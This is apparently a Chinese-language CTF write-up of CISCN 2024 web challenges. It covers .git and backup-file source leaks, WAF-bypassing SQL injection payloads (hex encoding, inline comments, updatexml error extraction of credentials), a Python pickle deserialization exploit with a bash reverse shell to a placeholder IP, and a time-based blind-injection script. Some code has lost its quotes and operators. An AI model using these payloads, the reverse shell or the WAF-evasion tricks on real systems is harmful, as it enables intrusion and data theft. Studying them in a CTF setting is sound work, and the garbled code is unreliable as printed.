CISCN 2024 Web赛题解析:源码泄露与WAF绕过实战技巧

📅 2026/8/2 8:50:22
CISCN 2024 Web赛题解析:源码泄露与WAF绕过实战技巧
1. 赛题背景与核心挑战解析最近刚结束的CISCN 2024 AWDP全国大学生信息安全竞赛-攻防实战的Web赛题可以说又一次精准地踩在了当前Web安全攻防的热点上。我复盘了其中几道典型的题目发现它们没有去追求那些花里胡哨、冷门生僻的漏洞而是把焦点放在了“源码泄露”和“WAF绕过”这两个老生常谈却又在实际渗透和CTF比赛中屡试不爽的经典套路上。这其实很能反映出现实攻防的现状防御方WAF在不断升级规则攻击方则在有限的“缝隙”里寻找新的利用方式。很多新手朋友一看到WAF就头疼觉得无从下手或者拿到源码也不知道从哪里开始分析。这篇文章我就结合这几道赛题把从信息收集、源码审计到最终构造Payload绕过防护的完整链条拆开揉碎了讲清楚你会发现思路清晰了所谓的“难题”也不过是几个基础点的组合。简单来说这几道题的核心路径可以概括为发现源码泄露 - 审计源码找到漏洞点 - 分析WAF规则 - 构造绕过Payload - 获取Flag。听起来是标准流程但每一步都藏着魔鬼细节。比如源码是怎么泄露的是.git、.DS_Store这类版本控制或系统文件还是备份文件、注释信息审计源码时重点该看哪些危险函数和逻辑分支面对WAF是选择混淆、编码、还是利用解析差异接下来我们就一道题一道题地过我会把我在解题时的思考过程、尝试过的错误路径以及最终奏效的技巧都分享出来。2. 第一道赛题基于.git源码泄露的逻辑漏洞利用2.1 信息收集与源码泄露点定位这道题一上来给人的感觉就是一个功能简单的Web应用。常规的目录扫描、端口扫描可能收获不大。但经验告诉我们CTF赛题中源码泄露是常见的“突破口赠送点”。我习惯性地尝试了一些常见的源码泄露路径/.git//.svn//.DS_Store/www.zip/source.tar.gz/index.php.bak果不其然在访问/.git/目录时服务器返回了403 Forbidden而不是404 Not Found。这是一个强烈的信号。403意味着这个路径是存在的只是禁止直接浏览。我们可以利用git的特性来还原源码。这里我使用了GitHacker这个工具它比传统的dvcs-ripper更加强大和稳定。python3 GitHacker.py http://target.com/.git/工具运行后成功下载并重建了项目的整个git仓库。现在我们拿到了完整的网站源代码。这一步是基础但关键点在于不要看到403就放弃对于.git这类目录403状态码往往意味着“此地无银三百两”。2.2 关键源码审计与漏洞点分析拿到源码后面对一堆文件从哪里看起我的习惯是先看入口文件通常是index.php或app.py等了解程序的路由和整体结构。重点看配置文件如config.php、settings.py里面可能有数据库连接、密钥等信息。搜索危险函数/关键字在PHP中我会搜eval(system(exec(include/require注意变量可控$_GET$_POST$_REQUEST。在Python中则搜os.systemsubprocessevalpickle.loadsrender_template_stringSSTI等。在这道题的源码中我很快在api/user.php里发现了一段关键代码// api/user.php 片段 $action $_GET[action]; if ($action getinfo) { $uid $_GET[uid]; $sql SELECT * FROM users WHERE id . $uid . ; $result $conn-query($sql); // ... 显示用户信息 } elseif ($action update) { $data json_decode(file_get_contents(php://input), true); $new_bio $data[bio]; $uid $data[uid]; // 关键点这里对bio进行了‘安全’过滤 $filtered_bio waf_filter($new_bio); $sql UPDATE users SET bio . $filtered_bio . WHERE id . $uid; $conn-query($sql); }漏洞点非常清晰getinfo动作中uid参数直接拼接进SQL语句存在明显的数字型SQL注入。但题目环境很可能在全局或这个接口前部署了WAF。update动作中bio字段虽然经过了waf_filter函数处理但uid参数在拼接时是数字型且没有经过任何过滤就直接拼接。这是典型的“二次注入”或“数字型注入”场景开发者常常只注意对字符串参数的引号转义而忽略了数字参数也可能被恶意利用。2.3 构造绕过WAF的注入Payload直接攻击getinfo接口传入uid1 union select 1,2,3果然被WAF拦截了。于是转向update接口。这里的uid是数字型我们不需要闭合引号。但WAF通常也会检测unionselectfrom等关键字。绕过思路1内联注释MySQLMySQL支持/*!...*/这种内联注释其中的代码会被MySQL执行但很多基于正则匹配的WAF会忽略注释内容。POST /api/user.php?actionupdate HTTP/1.1 Content-Type: application/json { uid: 1 union/*!50000select*/ 1,2,database()-- -, bio: hello }注意这里uid的值是一个字符串但在SQL中它会与数字1进行比较或运算。由于PHP的弱类型字符串在算术上下文中会被转换为数字1 union...会被转换成数字1可能导致注入失败。所以我们需要确保注入语句在数字上下文中依然有效。更稳妥的方式是利用运算如1 and (payload)因为and后面跟布尔表达式。绕过思路2换行符与空白符变异WAF的正则可能匹配的是union select这样的连续字符串。我们可以用换行符%0a、制表符%09或多次空格将其分开。uid1 %0aunion%0aselect%0a1,2,3-- -在JSON中我们需要对换行符进行Unicode编码或确保传输层不会吃掉它。更简单的方式是利用/**/作为空格替代。uid1/**/union/**/select/**/1,2,3-- -绕过思路3大小写混合与双写有些简单的WAF规则可能只匹配小写。尝试UnIoN SeLeCt。或者如果WAF是删除敏感关键词可以尝试双写uniunionon selselectect。经过测试这道题的WAF对union select的检测较严但对and、or后的布尔注入检测较弱。最终我使用的Payload是{ uid: 1 and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 0x7e), 1), bio: test }这里利用了updatexml报错注入。为什么用报错注入因为update操作通常不直接回显查询结果但报错信息会把我们想要的数据带出来。concat(0x7e, ..., 0x7e)是为了让数据更清晰地在错误信息中显示~作为分隔符。2.4 实操过程与数据获取爆数据库名上面已经用database()做到了。爆表名Payload如上获取到类似~users,config~的结果。爆字段名{ uid: 1 and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_nameusers), 0x7e), 1), bio: test }得到~id,username,password,bio~。爆数据{ uid: 1 and updatexml(1, concat(0x7e, (select group_concat(username, 0x3a, password) from users), 0x7e), 1), bio: test }成功获取到管理员账号和密码可能是MD5需要进一步破解或用于登录。实操心得数字型注入点往往比字符型更容易绕过WAF因为少了引号闭合的烦恼。审计源码时要特别关注那些看似是数字但拼接时未进行强制类型转换或过滤的参数。updatexml、extractvalue这类报错函数在无回显的场景下非常好用。3. 第二道赛题备份文件泄露与反序列化漏洞链3.1 发现非常规源码备份文件第二道题目的入口更加隐蔽。常规的源码泄露路径探测一无所获。我尝试了模糊测试对已知文件添加常见备份后缀index.php-index.php.bak,index.php.swp,index.php~,.index.php.swpwww.zip,web.zip,site.tar.gz,backup.tar使用ffuf工具进行批量测试ffuf -w /path/to/wordlists/common_backup_extensions.txt -u http://target.com/FUZZ在尝试到/source.zip时成功下载了一个压缩包。解压后得到源码。这里的经验是当常见的泄露点没有收获时要扩大备份文件后缀名的字典并且尝试对网站根目录下的文件名进行备份后缀的拼接测试。3.2 审计反序列化入口与POP链构造这道题是一个Python Flask应用。在审计app.py时发现了一个危险的反序列化接口# app.py 片段 import pickle from flask import request, session app.route(/admin/profile, methods[POST]) def update_profile(): if not session.get(is_admin): return Forbidden, 403 data request.get_json() profile_data data.get(profile) # 反序列化用户提交的profile数据 profile_obj pickle.loads(base64.b64decode(profile_data)) # ... 后续处理 return Updated, 200pickle.loads()这是Python中一个著名的危险函数它可以执行任意代码。但前提是我们需要构造一个恶意的序列化数据即POP链。要利用这个点我们首先得成为admin。继续审计代码在登录逻辑auth.py中发现了问题# auth.py 片段 def login(username, password): user User.query.filter_by(usernameusername).first() if user and user.password hashlib.md5(password.encode()).hexdigest(): session[user_id] user.id session[username] user.username # 关键is_admin直接从数据库用户字段读取未经验证 session[is_admin] user.is_admin return True return False看起来我们需要一个is_admin1的用户。但用户注册逻辑中is_admin字段默认为0且不可指定。然而在models.py中我发现了另一个隐患# models.py class User(db.Model): id db.Column(db.Integer, primary_keyTrue) username db.Column(db.String(80), uniqueTrue) password db.Column(db.String(120)) is_admin db.Column(db.Boolean, defaultFalse) # 注意这个方法 def __reduce__(self): return (os.system, (id,))__reduce__方法这是Python pickle模块在序列化对象时会调用的一个特殊方法它返回一个可调用对象函数或类及其参数。pickle在反序列化时会执行这个可调用对象。这里它返回了os.system(id)。这意味着如果我们能找到一个地方让一个User对象被序列化并存储然后又在某个地方被反序列化就能触发命令执行。寻找序列化点。在utils/cache.py中# utils/cache.py import redis import pickle def cache_user_profile(user_id): user User.query.get(user_id) # 将user对象序列化后存入Redis serialized_user pickle.dumps(user) redis_client.setex(fuser_profile:{user_id}, 3600, serialized_user) def get_cached_profile(user_id): data redis_client.get(fuser_profile:{user_id}) if data: # 从Redis取出并反序列化 return pickle.loads(data) return None一条完整的攻击链POP Chain清晰了注册一个普通用户。触发cache_user_profile函数可能通过访问个人主页使得我们的User对象带有恶意的__reduce__方法被序列化后存入Redis。以管理员身份我们需要先成为管理员这里有个矛盾访问/admin/profile接口提交我们构造的、指向Redis中那个恶意序列化数据的profile参数不不对。重新梳理/admin/profile接口的反序列化数据profile_data是我们直接通过POST提交的Base64编码数据。我们不需要利用Redis里那个。我们可以直接构造一个恶意的pickle字节流Base64编码后提交。但是__reduce__方法存在于User类定义中我们如何控制它我们注册的用户其__reduce__方法已经被定义为执行id命令这不可控。真正的利用点我们不需要修改已有的User类。我们可以自己构造一个全新的、恶意的类将其序列化。Pickle反序列化时会重建我们指定的类和对象。例如import pickle import base64 import os class Evil: def __reduce__(self): # 反弹Shell命令 return (os.system, (bash -c \bash -i /dev/tcp/YOUR_IP/YOUR_PORT 01\,)) evil Evil() payload pickle.dumps(evil) print(base64.b64encode(payload).decode())但是这里还有一个障碍/admin/profile接口需要session[is_admin] True。我们如何获得管理员session3.3 组合利用从任意用户登录到管理员权限提升回头看登录逻辑session[is_admin] user.is_admin。user.is_admin来自数据库。我们能否修改数据库在之前的源码中可能还存在其他漏洞比如SQL注入可以更新is_admin字段。或者题目可能预设了一个弱口令的管理员账户。我们需要进一步信息收集。假设我们通过某种方式比如弱口令admin/admin123获得了管理员权限或者通过其他注入点将自己改为管理员。那么完整的攻击链就是获取管理员会话通过弱口令、注入修改数据、或题目直接给出。构造恶意的Pickle序列化数据包含反弹Shell命令Base64编码。向/admin/profile接口发送POST请求携带恶意数据。服务器反序列化数据触发命令执行我们收到反弹Shell。实操心得Python反序列化漏洞的利用关键在于找到合适的__reduce__、__setstate__等魔术方法的利用点或者利用内置的危险类如os.system,subprocess.Popen。在CTF中经常需要结合其他漏洞如逻辑漏洞、注入先获取必要的权限再触发反序列化。审计时要全局搜索pickle.loads、yaml.load、marshal.loads、PyYAML等关键字。4. 第三道赛题WAF规则探测与多层编码绕过4.1 初探与WAF规则行为分析第三道题是一个明显的注入点但任何简单的union select、sleep()都会被拦截。第一步是探测WAF的规则边界。我常用的方法是“渐进式探测”探测基础拦截输入看是否被拦截或报错。输入1 and 11和1 and 12观察页面差异判断是否存在注入以及WAF是否拦截布尔逻辑。探测关键词黑名单单独提交union、select、from、where、sleep、benchmark、order by等看哪些被拦截。例如发现union和select一起出现会被拦但单独出现可能不会。探测函数黑名单尝试database()、user()、version()等。探测特殊字符过滤尝试空格、/**/、%0a、%0d、%09、等空白符替代。尝试、like、regexp等比较操作符替代。探测长度限制WAF可能对参数长度或整个请求体长度有限制。通过探测我大致摸清了这道题WAF的规则拦截包含union select、sleep(、benchmark(等明显注入模式的字符串。拦截information_schema关键字防止爆表爆列。允许and、or。允许但拦截like有点奇怪。对空格和/**/注释过滤不严。4.2 利用进制、编码与字符串函数构造Payload既然information_schema被禁我们就用mysql.innodb_table_stats等替代方案来查表名但此法不一定通用。更通用的方法是利用已知的数据库名和表名结构进行盲注。这里假设我们通过其他方式比如报错信息知道了数据库名是ctf。绕过技巧1十六进制编码WAF通常检测明文关键字。我们可以将关键字转换成十六进制。select-0x73656c656374from-0x66726f6d在SQL中十六进制字符串在某些上下文下会被当作字符串处理。但直接union 0x73656c656374不行。我们需要用unhex()函数或者通过字符串连接函数concat()来构造。1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))80-- -被拦截。将information_schema编码1 and ascii(substr((select table_name from 0x696e666f726d6174696f6e5f736368656d612e7461626c6573 where table_schemadatabase() limit 0,1),1,1))80-- -成功绕过因为WAF的正则没有匹配到information_schema这个明文。绕过技巧2利用字符串函数动态构造关键字这是更高级的技巧。例如使用char()函数将ASCII码拼接成字符串。selectchar(115,101,108,101,99,116)1 and ascii(substr((char(115,101,108,101,99,116) table_name from ...),1,1))80-- -但这样select变成了字符串不能作为关键字使用。我们需要用prepare和execute动态执行SQL。然而prepare和execute本身也可能被WAF拦截。这条路在这道题可能不通。绕过技巧3等价替换与生僻函数sleep(5)被拦截可以尝试benchmark(10000000, md5(test))但benchmark也可能被拦。select被拦截在子查询中有时可以省略select直接使用(select 1)的形式但这里不行。比较操作符被拦截可以用in、regexp、不等于配合逻辑调整。对于这道题最有效的还是十六进制编码关键表名和列名结合时间盲注。因为and和if函数没有被禁。时间盲注Payload示例1 and if(ascii(substr((select table_name from 0x696e666f726d6174696f6e5f736368656d612e7461626c6573 where table_schema0x637466 limit 0,1),1,1))100, sleep(2), 0)-- -这里database()也被编码成了0x637466ctf的十六进制。sleep(2)如果被拦截可以尝试用benchmark或者更隐蔽的利用繁重的查询制造延迟例如(select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C)。4.3 自动化脚本编写与数据提取手工进行时间盲注效率极低。我们必须编写脚本。Python的requests库是首选。这里分享一个我常用的时间盲注脚本框架import requests import time url http://target.com/vuln.php params {id: } cookies {PHPSESSID: your_session} headers {Content-Type: application/x-www-form-urlencoded} def inject(payload): params[id] payload start time.time() r requests.get(url, paramsparams, cookiescookies, headersheaders, timeout10) elapsed time.time() - start return elapsed 2 # 根据实际延迟阈值调整 def get_database_length(): length 0 for i in range(1, 50): payload f1 and if(length(database()){i}, sleep(2), 0)-- - if inject(payload): length i break return length def get_database_name(db_len): name for pos in range(1, db_len1): low, high 32, 126 while low high: mid (low high) // 2 # 将database()关键字也编码提高绕过率 hex_db database().encode().hex() payload f1 and if(ascii(substr(({hex_db}),{pos},1)){mid}, sleep(2), 0)-- - # 更稳妥的方式全部用十六进制表示列名、表名 # payload f1 and if(ascii(substr((select schema_name from 0x... where ...),{pos},1)){mid}, sleep(2), 0)-- - if inject(payload): low mid 1 else: high mid - 1 name chr(low) print(f[] Pos {pos}: {chr(low)} - Current: {name}) return name if __name__ __main__: db_len get_database_length() print(f[] Database length: {db_len}) db_name get_database_name(db_len) print(f[] Database name: {db_name})这个脚本使用了二分法加速猜解。在实际使用时你需要根据实际情况替换URL、参数名、Cookie并调整inject函数中的Payload确保其能绕过WAF。关键是将所有可能被拦截的关键字如information_schema、columns、table_name都替换成十六进制形式。实操心得面对强WAF自动化脚本是必须的。脚本的核心是inject函数它定义了如何判断一次注入是否成功布尔状态、时间延迟、报错信息回显。在编写Payload时要充分利用探测到的WAF弱点比如它可能只检测连续的关键字那么用注释/**/、换行符%0a隔开就能绕过。或者它检测union select但不检测union all select。多尝试多思考WAF规则引擎可能存在的盲区。5. 总结与通用绕过技巧梳理复盘这三道题我们可以提炼出一些在CTF和实战中都非常有用的通用思路1. 源码泄露是黄金起点常见泄露点.git/.svn/.DS_Store*.bak*.swp*.~*.zip*.tar.gzWEB-INF/web.xmlcomposer.jsonpackage.json。工具GitHackerdvcs-ripperffufdirsearch大字典。心态403状态码可能是提示不要轻易放弃。2. 源码审计要抓重点危险函数/关键字根据语言定好清单全局搜索。关注数据流用户输入从哪里进经过哪些处理最终到哪里去数据库、文件系统、命令执行、反序列化。特别注意逻辑漏洞如权限校验绕过、条件竞争、数字型注入未过滤、反序列化入口等。3. WAF绕过是耐心与技巧的结合探测先行一定要先摸清WAF拦截什么不拦截什么。手工或使用sqlmap的tamper脚本探测。编码与混淆十六进制0x68656c6c6f代表hello。URL编码双重编码%2575nion。Unicode/HTML实体编码视上下文而定。注释符/**//*!50000union*//*!union*/。空白符变异%0a%0d%09%0b 多个空格。等价替换and/or逻辑等价。用likeregexpin配合布尔逻辑替代。union select用union all select。sleep()用benchmark() 或繁重的子查询制造延迟。利用数据库特性MySQL内联注释/*!...*//*!50000...*/指定版本。PostgreSQL||字符串连接CHR()函数。SQLiteunicode()函数。分块传输/协议层绕过利用HTTP分块传输编码、修改Content-Type如application/json、参数污染等干扰WAF对请求体的解析。这属于更高级的技巧需要中间件如Apache Nginx的配置配合。4. 工具与手工结合sqlmap是神器但它的Payload可能被WAF识别。一定要用--tamper参数加载混淆脚本如space2commentequaltolikebase64encode等并配合--random-agent--delay降低请求频率。复杂的绕过如多层编码、特定函数构造往往需要手工编写Payload并配合Python脚本进行自动化盲注。最后想说的是WAF绕过没有银弹。它是一场攻防双方在规则与变异之间的博弈。最好的学习方式就是多打CTF赛题多分析真实的漏洞案例积累各种绕过姿势。在实战中保持耐心层层递进地测试从最简单的探测开始逐步增加复杂度你总能找到那条通往目标的缝隙。我自己在遇到新WAF时也常常需要花费数小时去反复测试和调整Payload这个过程本身就是一次宝贵的学习和思维训练。